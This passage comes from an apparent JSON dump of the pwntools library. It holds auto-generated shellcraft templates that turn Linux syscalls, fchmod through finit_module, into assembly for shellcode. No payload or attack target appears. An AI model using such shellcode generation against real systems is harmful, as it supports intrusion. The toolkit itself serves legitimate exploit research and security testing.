is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fchmod']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fchmod'])\n%>\n    /* fchmod(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fchmodat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fchmodat(fd, file, mode, flag) -> str\n\nInvokes the syscall fchmodat.\n\nSee 'man 2 fchmodat' for more information.\n\nArguments:\n    fd(int): fd\n    file(char*): file\n    mode(mode_t): mode\n    flag(int): flag\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, file=0, mode=0, flag=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'file', 'mode', 'flag']\n    argument_values = [fd, file, mode, flag]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fchmodat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fchmodat'])\n%>\n    /* fchmodat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fchown.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fchown(fd, owner, group) -> str\n\nInvokes the syscall fchown.\n\nSee 'man 2 fchown' for more information.\n\nArguments:\n    fd(int): fd\n    owner(uid_t): owner\n    group(gid_t): group\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, owner=0, group=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'owner', 'group']\n    argument_values = [fd, owner, group]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fchown']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fchown'])\n%>\n    /* fchown(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fchown32.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fchown32(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall fchown32.\n\nSee 'man 2 fchown32' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fchown32']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fchown32'])\n%>\n    /* fchown32(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fchownat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fchownat(fd, file, owner, group, flag) -> str\n\nInvokes the syscall fchownat.\n\nSee 'man 2 fchownat' for more information.\n\nArguments:\n    fd(int): fd\n    file(char*): file\n    owner(uid_t): owner\n    group(gid_t): group\n    flag(int): flag\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, file=0, owner=0, group=0, flag=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'file', 'owner', 'group', 'flag']\n    argument_values = [fd, file, owner, group, flag]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fchownat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fchownat'])\n%>\n    /* fchownat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fcntl.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fcntl(fd, cmd, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall fcntl.\n\nSee 'man 2 fcntl' for more information.\n\nArguments:\n    fd(int): fd\n    cmd(int): cmd\n    vararg(int): vararg\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, cmd=0, vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'cmd', 'vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [fd, cmd, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fcntl']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fcntl'])\n%>\n    /* fcntl(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fcntl64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fcntl64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall fcntl64.\n\nSee 'man 2 fcntl64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fcntl64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fcntl64'])\n%>\n    /* fcntl64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fdatasync.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fdatasync(fildes) -> str\n\nInvokes the syscall fdatasync.\n\nSee 'man 2 fdatasync' for more information.\n\nArguments:\n    fildes(int): fildes\nReturns:\n    int\n</%docstring>\n<%page args=\"fildes=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fildes']\n    argument_values = [fildes]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fdatasync']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fdatasync'])\n%>\n    /* fdatasync(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/fgetxattr.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>fgetxattr(fd, name, value, size) -> str\n\nInvokes the syscall fgetxattr.\n\nSee 'man 2 fgetxattr' for more information.\n\nArguments:\n    fd(int): fd\n    name(char*): name\n    value(void*): value\n    size(size_t): size\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, name=0, value=0, size=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['name', 'value']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'name', 'value', 'size']\n    argument_values = [fd, name, value, size]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_fgetxattr']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_fgetxattr'])\n%>\n    /* fgetxattr(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/finit_module.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>finit_module(fd, param_values, flags) -> str\n\nInvokes the syscall finit_module.\n\nSee 'man 2 finit_module' for more information.\n\nArguments:\n    fd(int): fd\n    param_values(char*): param_values\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, param_values=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['param_values']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'param_values', 'flags']\n    argument_values = [fd, param_values, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if 